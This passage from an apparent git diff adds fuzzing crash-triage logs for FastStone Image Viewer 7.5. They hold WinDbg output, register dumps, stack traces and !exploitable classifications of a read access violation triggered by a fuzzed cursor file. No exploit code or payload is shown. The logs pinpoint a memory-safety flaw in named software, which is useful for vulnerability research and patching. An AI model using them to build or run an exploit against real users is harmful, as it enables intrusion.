00000000 00963a10 00381000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ebbf12c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/37672/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..4727d6b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x768: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x768: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(768.1be4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f57b10 edx=00003879 esi=12738f10 edi=0fd2afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.2179e+013 -2.80556e+030 -7.59937e-039 1.02317e+032 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023e000 7abdd744 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4727d6b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x768: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x768: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(768.1be4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f57b10 edx=00003879 esi=12738f10 edi=0fd2afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.763565049914082400000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.2179e+013 -2.80556e+030 -7.59937e-039 1.02317e+032 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 